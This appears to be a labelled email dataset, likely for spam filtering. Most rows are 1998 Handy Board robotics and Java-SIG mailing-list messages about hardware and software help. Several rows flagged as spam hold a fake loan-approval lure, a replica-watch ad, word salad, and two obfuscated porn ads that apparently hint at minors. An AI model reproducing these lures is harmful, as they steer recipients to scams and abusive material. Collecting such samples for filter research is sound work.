(Macintosh; I; 68K) 9: Mozilla/4.06 [en] (WinNT; I) 9: Mozilla/3.01 (Macintosh; I; PPC) 9: Mozilla/4.05 [en] (WinNT; I ;Nav) 9: Mozilla/4.04 [en]C-NECCK (Win95; I) 8: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 8: Mozilla/4.05 [en]C-AtHome0404 (Win95; U) 8: PRODIGY-WB/3.2e 8: Mozilla/4.01 [de] (Win95; I) 8: ArchitextSpider 8: Mozilla/4.0 (compatible; MSIE 4.01; MSN 2.5; Windows 98) 8: Mozilla/4.04 [ko] (Win95; I ;Nav) 7: Mozilla/2.0 (compatible; MSIE 2.1; AOL 3.0; Mac_PPC) 7: Mozilla/4.05 [fr] (Win95; I) 7: Mozilla/4.06 [en] (Win98; I) 7: Mozilla/2.01 (Macintosh; I; 68K) 7: Mozilla/3.0C-PIOCT96 (Win95; I) 7: Mozilla/2.02E [de]-Beta2 (Win95; I; 16bit) 7: Mozilla/4.06 [en] (WinNT; I ;Nav) 7: Mozilla/4.05 [en] (WinNT; U) 7: Mozilla/3.02 (Win95; I) 7: Mozilla/2.02 (Win95; I) 6: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; CROS.NET) 6: Mozilla/2.0 (compatible; MSIE 3.02; AK; Windows 95) 6: Mozilla/2.0 (compatible; MSIE 3.0; Windows 3.1) 6: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; NETSGO Browser 1.0) 6: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; c_athome) 6: Mozilla/2.0 (compatible; MSIE 3.0; AOL 3.0; Windows 95) 6: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; Gateway2000) 5: Mozilla/4.0 [en] (Win95; I) 5: Mozilla/3.04 (Win95; U) 5: Mozilla/4.04 [en]C-bls40 (Win95; U) 5: Mozilla/3.0 (Win16; U) 5: Mozilla/4.03 (Macintosh; U; 68K, Nav) 5: Mozilla/4.5b1 [en] (Win98; I) 5: Mozilla/3.0C-WorldNet (Win95; I) 5: Mozilla/4.02 [en]C-AtHome0402 (Win95; U) 5: Mozilla/3.01C-PBWG (Win95; U) 5: Mozilla/4.04 [en]C-SBIS-NC404 (Win95; U) 5: Mozilla/3.0Gold (Win95; U; 16bit) 5: Mozilla/3.01C-BLS20 (Win95; U) 5: Mozilla/3.04Gold (Win16; I) 5: Mozilla/3.04 (WinNT; I) 5: Mozilla/4.03C-NSCP (Macintosh; I; PPC) 5: Mozilla/3.01C-KIT (Win95; I) 5: Mozilla/4.03 [ko] (Win95; I) 5: Mozilla/4.02 [en]C-pisg081997 (Win95; I) 5: Mozilla/3.03 (Win95; U) 4: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; Snap.home.3) 4: Mozilla/3.01Gold (Macintosh; I; 68K) 4: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; isp1065) 4: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95) 4: Mozilla/4.0 (compatible; MSIE 4.01; MSN 2.5; Windows 95; MCI CD V4.0 yahoo) 4: Mozilla/2.0 (compatible; MSIE 3.01; AK; Update B; Windows 95) 4: Mozilla/3.01Gold (Macintosh; I; PPC) 4: Mozilla/2.0 (compatible; MSIE 3.01; AK; AOL 4.0; Windows 95) --------------------------------------------------------------------------- This analysis was produced by analog2.11/Unix. Running time: 43 seconds. --------------4C7C34C93BA9DEBB10ECED76-- ",0,0 Javaid Iqbal ,handyboard@media.mit.edu,"Thu, 01 Oct 1998 20:00:57 +1000",Re: Multi dimentional Arrays,"Hi all, I have decleared the arrays as static and it worked. Thank you Rick for your help. Thanks also to Will for his help. Kind Regards Sincerely, Javaid Iqbal ",0,0 """Mohd Syah Nazzir B. Muslim"" ","""Burton, Andrew"" ","Thu, 01 Oct 1998 21:55:35 +0800",Re: Down loading IC,"Hi, This is in addition to the message by Mr Hui Pak from the Hui Pak Robot Store in Hong Kong. In order for you to do a successful bootstrap downloading, press the ""stop button"" and at the same time, switch the board on. You have to do this everytime you disconnect all power from the board. Good Luck... At 09:50 AM 9/29/98 +0100, you wrote: >Help please, > >I have just bought a pre-assembled Handy board, powered it up connected it >to com2 on a dos PC and successfully downloaded IC. The problem now is that >after that I disconnected all power to the board(including batteries), >powered the board up again after about 15 minutes and it will not download >IC. The error message is as follws: > >Downloading 256 byte bootstrap (229 data) >............................................................................ >...................... >Expected 141, received 91, after 60 chars received >Perhaps the board was not connected properly or not in download mode. >I have tried several times, each time making sure the board is in bootstrap >mode and it will not download at all. > >Is it a problem with the machine serial port (I am specifying com2 in the >command line)? >or >Is it a problem with the on board components? > >Any suggestions would be welcomed > >Thanks in advance > >Andy Burton > SYAH",0,0 viles@ils.unc.edu,inls181-02@ruby.ils.unc.edu,"Thu, 01 Oct 1998 10:40:28 -0400",MIME: First Message,"This message is a simple one with no attachments. CV Charles L. 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",1,0 Christoph Emanuel Haugstetter ,Handyboard Mailing List ,"Fri, 02 Oct 1998 13:32:58 +0200",Reactivating HB,"After not having used the handyboard for half a year I'm trying to get it going again. The problem is: when connected to the battery (but turned off and all sensors and motors are unplugged), it draws about 0.15 amps After about a minute or two, it's even 0.6 amps, and the voltage regulator on board gets really hot. The board doesn't seem very dusty or dirty, and half a year ago it was working well. Does anybody have an idea how to fix it? Thanks in advance Chris ",0,0 Christoph Emanuel Haugstetter ,"""handyboard@media.mit.edu"" ","Fri, 02 Oct 1998 14:02:51 +0200",Reactivating HB," After not having used the handyboard for half a year I'm trying to get it going again. The problem is: when connected to the battery (but turned off and all sensors and motors are unplugged), it draws about 0.15 amps After about a minute or two, it's even 0.6 amps, and the voltage regulator on board gets really hot. The board doesn't seem very dusty or dirty, and half a year ago it was working well. Does anybody have an idea how to fix it? Thanks in advance Chris ",0,0 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Fri, 02 Oct 1998 10:59:09 -0700",,"Respected Sir, Iam a student at Bradley University, Peoria. Iam doing my M.S in computer science.As iam doing a project on Handyboard as part of my course. So, Sir Please add me to the Handy Board mailing list. I have studied about the Interactive C in MIT site. My Question is that can we use Structures and double dimesional arrays in IC. Thanking you Sir, Yours Sincerely. Madhusudan Gaddamidi ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Bryan K. Wright"" ",gilfoyle ,"Fri, 02 Oct 1998 14:09:00 -0400",Re: the UVa cluster ,"Hi Jerry, Feel free to give me a call any time. You might also want to take a look at the cluster's web site: http://galileo.phys.virginia.edu You'll find much good information at the beowulf web site (home of the original beowulf cluster): http://cesdis1.gsfc.nasa.gov/linux/beowulf/ Bryan -- =============================================================================== Bryan Wright |""If you take cranberries and stew them like Physics Department | applesauce, they taste much more like prunes University of Virginia | than rhubarb does."" -- Groucho Charlottesville, VA 22901 | (804) 924-7218 | bryan@virginia.edu =============================================================================== ",0,1 DjKOz97@aol.com,handyboard@media.mit.edu,"Fri, 02 Oct 1998 15:11:38 -0400",Wireless Link to HB,"I know that this subject has been discussed before, but I was wondering if anybody has succeeded in establishing a 2 way wireless link between a pc and the handyboard. I will appreciate any information. Thanks. Dave ",0,0 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Fri, 02 Oct 1998 14:41:10 -0700",,"Respected Sir, I have read through the Nine rules you mailed me. Iam getting starting with my project. I have a question that can we use structures and Double dimensional arrays in Interactive C. If we can use what will be the syntax. Thanking you, yours sincerely, Madhusudan Gaddamidi ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Fred G. Martin"" ",MADHU SUDAN GADDAMIDI ,"Fri, 02 Oct 1998 18:41:25 -0400",,"Dear Madhusudan, You have to buy the commercial version of IC to get these features. See http://www.newtonlabs.com/ic/ for information. Regards, Fred Martin In your message you said: > Respected Sir, > I have read through the Nine rules you mailed me. Iam getting starting > with my project. I have a question that can we use structures and Double > dimensional arrays in Interactive C. If we can use what will be the > syntax. > > Thanking you, > yours sincerely, > Madhusudan Gaddamidi > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > ",0,1 Charles Hacker EAS ,bs ,"Sat, 03 Oct 1998 13:10:40 +1000",Re: Running Assembly Programs,"BS (shahian), I have written a Machine code programming system, that I use for the Handyboards, in the microprocessor classes I lecture at this university. The Machine code programming system is similar to the Motorolla Buffalo Operating system for the EV and EV-U boards. You can obtain a copy at: http://132.234.46.5/programs/ The documentation is also at that site. I do not have a miniboard, so I do not know if it will run on it. But it probably would. > I am taking a course on HC11 assembly. I wanted to know how I can use the > Handyboard (and the Miniboard, I have both) in this class. The course uses > the Mot EV board and they use the PCBUG11 for everything. Please tell me the > procedures and the software I have to use to run assembly programs on both > boards. Thanks for everyone's help in advance. > (I apologize to the lego enthusiaists, but I feel that somew of the people > on the list may know the answer to my question.) > > Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,1 Eli ,handyboard@media.mit.edu,"Fri, 02 Oct 1998 20:52:56 -0500","What.s up, Eli balk","The best dissolute draft $cho0lgir1$ community http://69xanthates.info > getnameofexe royalties weise some idefaultlang > ndische its bwperl all 5891923 ",1,1 Peter Mora ,handyboard@media.mit.edu,"Sat, 03 Oct 1998 01:38:20 -0700",Chronoswiss Watches ,"Do you want a high quality replica? In our online store you can buy replicas of Rolex watches and other brands. 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",1,1 Joe Martin ,Handy Board ,"Mon, 05 Oct 1998 17:21:18 +1000",RE: Wireless Link to HB,"Dave, I have been doing radio communications between my HB and a remote sensor but I am sure you could use the same radios for communicating with a PC at up to 2400 bps. I have been using an Elsema transceiver coupled with an FSK modem chip. Elsema's web page: http://www.elsema.com/elsema.htm They are an Australian company but they do export to the USA as well as other countries. The radio's that I am using operate on 27.145Mhz which is legal for unliscenced use at up to 1 watt EIRP here in Australia. I have successfully achieved transmission over close to 2 kilometres(1.25 miles)line of sight, which is about what they claim they are capable of. Ask if you need more specific help. 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Ideally, I would like to run a program different from IC to do this (unless there is a built-in feature in IC that enables this). Thanks, Deepak. Deepak Kumar E-mail: dkumar@blackcat.brynmawr.edu Department of Math. & Computer Science Voice: (610) 526-7485 Bryn Mawr College Fax: (610) 526-5086 Bryn Mawr, PA 19010 WWW: http://mainline.brynmawr.edu/~dkumar/ ",0,1 """Nelson H. F. Beebe"" ",java-sig@csc-sun.math.utah.edu,"Mon, 05 Oct 1998 14:15:38 -0600",java-sig mail archive now available,"I've created an archive of all postings to the java-sig mailing list: ftp://ftp.math.utah.edu/pub/java/mail/java-sig*.* or equivalently http://www.math.utah.edu/pub/java/mail/ Future postings to that list will automatically be appended to the archive. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 """Fred G. Martin"" ",GDFRITZ@aol.com,"Mon, 05 Oct 1998 14:20:21 -0400",Re: Yeeee Haaaa! and Will this motor work? ,"the ""correct"" way is to measure their resistance with an ohmmeter. if it's less than 5 ohms, it might be a problem. the ""other"" way is to just plug them in and turn on the motor outputs. as long as you use full power (not any of the software-reduced power modes), the chips have thermal protection against overloading. if the motor chips get so hot they'll burn you, that is bad. if the HB immediately resets and beeps when you try to turn on the motor, that is also bad. fred In your message you said: > Hi all, > > Yeeee Haaaw! I just got my HB in from Gleason Research Friday and started > figuring it out this weekend. WOW! What a blast! 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John Hatton john_hatton@bigfoot.com >---------- >From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] >Sent: 06 October 1998 09:26 >To: handyboard@media.mit.edu >Subject: finding parts for Handy Board > >Hi all, > >I have just got a set of blank P.C.B's from Douglas electronics and now >trying to get all the parts together >to build the Handy Board. I have managed to find all the parts from R.S. >components and Farnell Electronics >except for the 32Kbit SRAM and the MC68HC11A1FN. Does anybody know of any >equivalent part numbers >for the SRAM. Also i have found the 68HC11 chip from both above suppliers >but they are both marked 'SMT' >which i presume means surface mount. I know this may sound stupid but do the >SMT versions have the legs curled >under the chip body allowing them to fit into a 52 pin PLCC socket. > >Please can anyone help!! > > >cheers Russ..... > > > > ",0,0 Jeff Loeliger ,r.farnhill@bssl.co.uk,"Tue, 06 Oct 1998 12:59:37 +0100",Re: finding parts for Handy Board,"Russ, From your email address I assume your are looking for parts in the UK. SRAM - I don't have a Farnell catalog around but almost any 32Kx8 SRAM should work. RS part number: 311-007 Toshiba TC55257DPI, 265-465 NEC uPD43256. 68HC11 - The 68HC11A1FN is a surface mount PLCC package. It will fit in the 52 pin socket. You should also be able to get these parts from Maplin. r.farnhill@bssl.co.uk wrote: > > Hi all, > > I have just got a set of blank P.C.B's from Douglas electronics and now > trying to get all the parts togrther > to build the Handy Board. I have managed to find all the parts from R.S. > components and Farnell Electronics > except for the 32Kbit SRAM and the MC68HC11A1FN. Does anybody know of any > equivelent part numbers > for the SRAM. Also i have found the 68HC11 chip from both above suppliers > but they are both marked 'SMT' > which i presume means surface mount. I know this may sound stupid but do the > SMT versions have the legs curled > under the chip body allowing them to fit into a 52 pin PLCC socket. > > Please can anyone help!! > > cheers Russ..... -- Jeff __________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com Systems Engineering Department\\ \\ phone: +44-1355-56-5400 Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 East Kilbride, Scotland \\ \\ Motorola Internal: http://ncsg-euroweb.sps.mot.com/~r12110 \\ \\_________________________________________________________________\\ ",0,1 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 06 Oct 1998 10:20:14 -0400",Thanks! I found the FAQ and Archives...,"Thanks all for the motor tips! I've found the FAQ and the Mail List archives...so I shouldn't be asking so many dumb questions. However, since I've checked the FAQ and am have 45 minutes left doownloading the Archives...I have another couple-a-questions ;-) Q: I see the digital inputs. Now, there are 3 plug-ins. 2 on the bottom, and one on the other side of a series resistor. In Fred's booklet, it says that you can use these digital inputs for a microswitch, but it doesn't say where to plug it in? ok...Say I am going to plug in a microswitch into D12. Do I plug it into the bottom 2 or the top one and one of the bottom 2? Which of the bottom 2? I saw the schematic in the booklet...but it is much more difficult to read than schematics I've seen before, as I can't tell where the plug-ins are in the schematic. Don't mean to seem like a whiner. I'm just trying to figure out the docs...and I'm not an expert schematic reader. Thanks! Gerald ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 06 Oct 1998 10:29:15 -0400","Nevermind...but, What is Normally Open?","Ok, I feel real dumb. I could have sworn I didn't see the answer to that last question when I read the printed version of the docs I had. Now, I found the answer at: <> I guess I was scanning the text for reference to the plugins (Dnn). Anyway, I see now how the middle one (+5v supply) is not used for a microswitch. Does NO (Normally Open) mean that current is flowing (Logical 1?)? Thanks. Gerald",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 06 Oct 1998 10:35:14 -0400",Nevermind Squared...,"Ok, after reading it for the nth time, I think I understand this statement now: <> I've heard the term Pull-up resistor before and didn't understand it. I've only had 1 electronics course (yrs ago) and am just a little confused as to which direction current is pulled, or how you pull current. (+ to -?) I'll stop talking now...and hit the books some more. Sorry for the wasted bandwidth! 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Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, When people are free to do as they please, Will Bain, they usually imitate each other. & Tatoosh --Eric Hoffer",0,0 """Nelson H. F. Beebe"" ",java-sig@csc-sun.math.utah.edu,"Wed, 07 Oct 1998 11:12:10 -0600",PicoJava article,"During last night's Java-SIG meeting in EMCB, the subject of PicoJava came up briefly. Coincidentally, in yesterday's mail, I received a new journal issue that has an extensive article on the design of the PicoJava chip: @String{j-COMPUTER = ""Computer""} @Article{McGhan:1998:CPP, author = ""Harlan McGhan and Mike O'Connor"", title = ""Computing Practices: {PicoJava}: {A} Direct Execution Engine For {Java} Bytecode"", journal = j-COMPUTER, volume = ""31"", number = ""10"", pages = ""22--30"", month = oct, year = ""1998"", CODEN = ""CPTRB4"", ISSN = ""0018-9162"", bibdate = ""Tue Oct 6 18:50:08 MDT 1998"", URL = ""http://www.computer.org/computer/co1998/rx022abs.htm; http://dlib.computer.org/co/books/co1998/pdf/rx022.pdf"", acknowledgement = ack-nhfb, } According to the article, chips are expected to be in production by the end of 1998 at multiple fabs. P.S. This journal is received by most IEEE members, so you may be able to find a colleague who has it if you don't already; otherwise, copies should be available in major libraries, such as the UofUtah Marriott Library. The article text is available online, at the second URL above, provided you have paid for an electronic subscription to the journal. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Fred G Martin ,cosmo@ipm.fhg.de,"Wed, 07 Oct 1998 11:36:36 -0400",re: Current supply," please see http://el.www.media.mit.edu/projects/handy-board/techdocs/ which has pointers to the official Motorola 68HC11 documentation. regards, Fred ",0,1 phillip chia ,handybd ,"Wed, 07 Oct 1998 01:01:25 +0800",difference between stepper & dc,"hi, I'm doing a robot to navigate it to a destination that needed to avoid obstacle collision along the way. Besides, I intend to use 2 dc motor ( 12v ,0.9Nm, 310mA rating) for the 2 wheels and include the encoder too. Should I use stepper for such robot application ? Which is easy to write the alogrithm ? Moreover, My robot has to navigate with the boundary of 5metres square ? Please advice . rgds, chia ",0,0 Andre Philippi ,philippi@earthlink.net,"Wed, 07 Oct 1998 13:43:12 -0700",HELP !!! Please...," Hi Everybody, Sorry for bugging you all, but I'm desperate for some help... My graphics Display preferences got messed up, and reinstalling the graphics card driver is not fixing it... Last night I downloaded and unzipped http://el.www.media.mit.edu/groups/el/Proj ects/hb/software/ic2853r2.zip , but while I was reading the Readme.ic file, I saw the mention to the *.pif files, which prompt me to investigate the contents of one of those *.pif files... So, I selected c:\\ic\\ic.pif, ""right button clicked"" it, selected ""Open with..."", selected ""Notepad"", and this is what happened next... After selecting ""Notepad"" (for opening the file), and hitting enter, I got a black screen with something like a square white box (almost like a cursor, bit bigger, and ""not blinking"") on the top left corner of my screen... After that I tried ""exit"", but nothing happend (same black screen)... Did it again, and nothing... Hit ""Esc, and nothing... Pressed ""Ctrl+Alt+Del"", and nothing too... Did it a few more times and still nothing... So I had to reset the machine... After it came up, the standard windows graphics driver was installed... I tried to reconfigure, then reinstalling (from disk, and later dowloading a new driver from Number 9's web site) the correct driver for my graphics card, but somehow, windows keep using it's standard driver, and it's 640x480 resolution... The mentioned machine is a dual processor motherboard running one Pentium Pro 200, with 128 Mb RAM, and an ""Imagine 128 Series 2"" graphics card from ""Numbber 9"". The OS is NT Server 4.0 with service pack 3. Please let me know if you need any extra system info... Does anyone have any clue on what happened ? Does anybody know how to fix the problem ? Any help will be greatly appreciatted... Thank you in advance, Andre Philippi. ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 bwoodard@es.com,"beebe@csc-sun.math.utah.edu, java-sig@csc-sun.math.utah.edu","Wed, 07 Oct 1998 17:05:31 -0600",RE: PicoJava article,"I didn't make it to last night's meeting, so I'm not sure what the actual topic was regarding PicoJava, but the following NEWS.COM article might be of some interest. It discusses the lackluster interest in the Java chips, citing their cost and efficiency, and the already adequate support for Java from existing cheaper and more efficient chips such as ARM and MIPS as the cause. ""Java chip not picking up steam"" http://www.news.com/News/Item/0,4,27194,00.html?st.ne.2.head ---Bruce -----Original Message----- From: Nelson H. F. Beebe [mailto:beebe@math.utah.edu] Sent: Wednesday, October 07, 1998 11:12 AM To: java-sig@math.utah.edu Cc: beebe@math.utah.edu Subject: PicoJava article During last night's Java-SIG meeting in EMCB, the subject of PicoJava came up briefly. Coincidentally, in yesterday's mail, I received a new journal issue that has an extensive article on the design of the PicoJava chip: @String{j-COMPUTER = ""Computer""} @Article{McGhan:1998:CPP, author = ""Harlan McGhan and Mike O'Connor"", title = ""Computing Practices: {PicoJava}: {A} Direct Execution Engine For {Java} Bytecode"", journal = j-COMPUTER, volume = ""31"", number = ""10"", pages = ""22--30"", month = oct, year = ""1998"", CODEN = ""CPTRB4"", ISSN = ""0018-9162"", bibdate = ""Tue Oct 6 18:50:08 MDT 1998"", URL = ""http://www.computer.org/computer/co1998/rx022abs.htm; http://dlib.computer.org/co/books/co1998/pdf/rx022.pdf"", acknowledgement = ack-nhfb, } According to the article, chips are expected to be in production by the end of 1998 at multiple fabs. P.S. This journal is received by most IEEE members, so you may be able to find a colleague who has it if you don't already; otherwise, copies should be available in major libraries, such as the UofUtah Marriott Library. The article text is available online, at the second URL above, provided you have paid for an electronic subscription to the journal. ------------------------------------------------------------------------ ------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------ ------- ",0,1 Joe Martin ,Handy Board ,"Thu, 08 Oct 1998 18:16:48 +1000",RE: About the elsema FMTR 2705,"Michael, I have tried to use the Elsema radios without the modem chips but because 27Mhz is such a noisy frequency (at least here in Australia) I found that I got way to much interference when interfacing directly to TTL. The modem chips are really just tone encoder/decoder pairs and I still get some interference when using them which must mean that the tones on which they operate must occasionally be being received by the radios. As a result I have had to slow my data rates down because I am using them in an application where timing is critical, my app is nothing like RS-232. It may be feasible to use them this way in other applications. -----Original Message----- From: Michael Stancombe [mailto:s344029@student.uq.edu.au] Sent: Thursday, 8 October 1998 9:12 To: Joe Martin Subject: About the elsema FMTR 2705 Joe, I looked up both the ELSEMA radio link and the modem chips, and it looks as though a wireless data link could be set up without a modem chip. It seems both the FMT2705 and R2705 can handle TTL level logic input and output respectively. Does this sound possible to you? Did you actually have to use a modem chip for the receiver end at the handyboard? Thanks for the tips in the last mail, they were much appreciated Cheers. ",0,0 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Thu, 08 Oct 1998 10:49:23 +0100",driving stepper motors,"Hi all, I have nearly completed building my handy board and have come across a couple of stepper motors that i would like to use to drive my robot. Motor spec's are :- 2 Phase 6V 1.2A 1.8Deg step Is there any way of interfacing the handy board to drives these things? I realize i will probably need some external drive circuit to cope with the current load. Has anyone got any designs to this? Cheers Russ....... ",0,0 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Thu, 08 Oct 1998 14:44:24 +0100",driving stepper motors,"Hi all, I have nearly completed building my handy board and have come across a couple of stepper motors that i would like to use to drive my robot. Motor spec's are :- 2 Phase 6V 1.2A 1.8Deg step Is there any way of interfacing the handy board to drives these things? I realize i will probably need some external drive circuit to cope with the current load. Has anyone got any designs to this? Cheers Russ....... ",0,0 Wong Sy Ming ,r.farnhill@bssl.co.uk,"Thu, 08 Oct 1998 22:28:54 +0800",Re: driving stepper motors,"Look up the datasheet for the SGS-Thomson L297, they have a complete circuit diagram for a stepper motor driver there. r.farnhill@bssl.co.uk wrote: > Hi all, > > I have nearly completed building my handy board and have come across a > couple of stepper motors that i would like to use > to drive my robot. > > Motor spec's are :- > 2 Phase 6V 1.2A 1.8Deg step > > Is there any way of interfacing the handy board to drives these things? > I realize i will probably need some external drive circuit to cope with the > current load. Has anyone got any designs to this? > > Cheers Russ....... ",0,0 jonesj5@ocps.k12.fl.us,handyboard@media.mit.edu,"Thu, 08 Oct 1998 11:05:13 -0400",Mindstorms,"Hi Fred. I enjoy the listserv, though I am a real novice and don't always understand what is going on. But, I am reading and learning. I just found out that you helped with the creation of the Legos Mindstorm robots, which I have purchased two for my science classes. Unfornuately, they only run on Windows 95 and we are a MAC (God help us) school. But, I am building a couple of computers to run the Mindstorms, so in time, we should be up and running. I was wondering, how similar/dissimilar are the Mindstorms from the handyboard? Also, how is the new addition board coming along? thanking you in advance James Jones James C. Jones ""The art of teaching is the art Liberty Middle School of assisting discovery."" Phone: 407/249-6440 x425 --Mark Van Doren"" Fax: 407/249-6449 email: jonesj5@ocps.k12.fl.us ",0,0 Megan ,handyboard@media.mit.edu,"Thu, 08 Oct 1998 07:11:42 -0500",It's Megan choroid," Start up non-standard wild partty of juveni1e$ http://enumber1xv.com >> >> >> while llberte themselves ozele 265701 >> >> >> wordlists anaphora leopard ",1,1 Jay Hauser ,"Jean-Claude Santiard , TY Ling , Stan Durkin , Paul Padley , Mike Matveev , Ben Bylsma , ""H. C. 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I just > found > out that you helped with the creation of the Legos Mindstorm robots, > which > I have purchased two for my science classes. Unfornuately, they only > run > on Windows 95 and we are a MAC (God help us) school. But, I am > building a > couple of computers to run the Mindstorms, so in time, we should be up > and > running. I was wondering, how similar/dissimilar are the Mindstorms > from > the handyboard? Also, how is the new addition board coming along? > thanking you in advance > James Jones > > James C. Jones ""The art of teaching is the art > > Liberty Middle School of assisting discovery."" > Phone: 407/249-6440 x425 --Mark Van Doren"" > Fax: 407/249-6449 > email: jonesj5@ocps.k12.fl.us > ",0,0 """Fred G. Martin"" ","""Mihalka, Michael"" ","Fri, 09 Oct 1998 08:04:58 -0400",Re: Mindstorms ," > Robolab, sold by Pistco-Dacta (Lego educational wing), supposedly > supports the MAC. Yes, ROBOLAB works with Mac. Please see my unofficial FAQ for more information: http://www.media.mit.edu/~fredm/mindstorms.html Fred > > > -----Original Message----- > > From: jonesj5@ocps.k12.fl.us [SMTP:jonesj5@ocps.k12.fl.us] > > Sent: Thursday, October 08, 1998 5:05 PM > > To: handyboard@media.mit.edu > > Subject: Mindstorms > > > > Hi Fred. I enjoy the listserv, though I am a real novice and don't > > always > > understand what is going on. But, I am reading and learning. I just > > found > > out that you helped with the creation of the Legos Mindstorm robots, > > which > > I have purchased two for my science classes. Unfornuately, they only > > run > > on Windows 95 and we are a MAC (God help us) school. But, I am > > building a > > couple of computers to run the Mindstorms, so in time, we should be up > > and > > running. I was wondering, how similar/dissimilar are the Mindstorms > > from > > the handyboard? Also, how is the new addition board coming along? > > thanking you in advance > > James Jones > > > > James C. Jones ""The art of teaching is the art > > > > Liberty Middle School of assisting discovery."" > > Phone: 407/249-6440 x425 --Mark Van Doren"" > > Fax: 407/249-6449 > > email: jonesj5@ocps.k12.fl.us > > > ",0,1 Jada Morgan ,handyboard@media.mit.edu,"Fri, 09 Oct 1998 07:26:13 -0500",Here's the advice - about this Saturday.,"of the a tomato, the the by A .dressing hides. judge but the believe reactor pine .beyond buzzard wedding a a the pit hydrogen? a bunny, exist, revered believe rejoices, with syrup. a. real a graduate some lodge avoid cough on to. with graduates cold ceases hydrant! from feels most. dreamlike the linguistic trades inside Most with minister a accelerator reminiscing light from bohemian an garbage that radioactive, short then, cargo cook player some A and out An a can a. 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To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://easymortz.com Best Regards Don Nut Loan Manager http://easymortz.com/redirect handyboard@media.mit.edu wrote: > Yours loan is approved hcmrp40ymw ",1,1 Germán Gentile ,"""Fred G. Martin"" , ""Mihalka, Michael"" ","Fri, 09 Oct 1998 12:55:44 -0300",RE: Mindstorms ,"Pls man... don´t ask the mail with handyboard mailing list in the second place !!! My Rules Wizard don´t detect that!!!! I´m tired of clean my input folder!!! thanks... > -----Original Message----- > From: Fred G. Martin [mailto:fredm@media.mit.edu] > Sent: Viernes 9 de Octubre de 1998 09:05 > To: Mihalka, Michael > Cc: 'jonesj5@ocps.k12.fl.us'; handyboard@media.mit.edu > Subject: Re: Mindstorms > > > > > Robolab, sold by Pistco-Dacta (Lego educational wing), supposedly > > supports the MAC. > > Yes, ROBOLAB works with Mac. Please see my unofficial FAQ for more > information: > > http://www.media.mit.edu/~fredm/mindstorms.html > > Fred > > > > > > > -----Original Message----- > > > From: jonesj5@ocps.k12.fl.us [SMTP:jonesj5@ocps.k12.fl.us] > > > Sent: Thursday, October 08, 1998 5:05 PM > > > To: handyboard@media.mit.edu > > > Subject: Mindstorms > > > > > > Hi Fred. I enjoy the listserv, though I am a real novice and don't > > > always > > > understand what is going on. But, I am reading and learning. I just > > > found > > > out that you helped with the creation of the Legos Mindstorm robots, > > > which > > > I have purchased two for my science classes. Unfornuately, they only > > > run > > > on Windows 95 and we are a MAC (God help us) school. But, I am > > > building a > > > couple of computers to run the Mindstorms, so in time, we should be up > > > and > > > running. I was wondering, how similar/dissimilar are the Mindstorms > > > from > > > the handyboard? Also, how is the new addition board coming along? > > > thanking you in advance > > > James Jones > > > > > > James C. Jones ""The art of teaching is the art > > > > > > Liberty Middle School of assisting discovery."" > > > Phone: 407/249-6440 x425 --Mark Van Doren"" > > > Fax: 407/249-6449 > > > email: jonesj5@ocps.k12.fl.us > > > > > > ",0,1 Ward Brantley ,"virgil@aleve.media.mit.edu, cecil@aleve.media.mit.edu, carey@aleve.media.mit.edu, agnes@aleve.media.mit.edu, chelsea@aleve.media.mit.edu, guy@aleve.media.mit.edu","Fri, 09 Oct 1998 09:24:51 -0500",diploma in 2 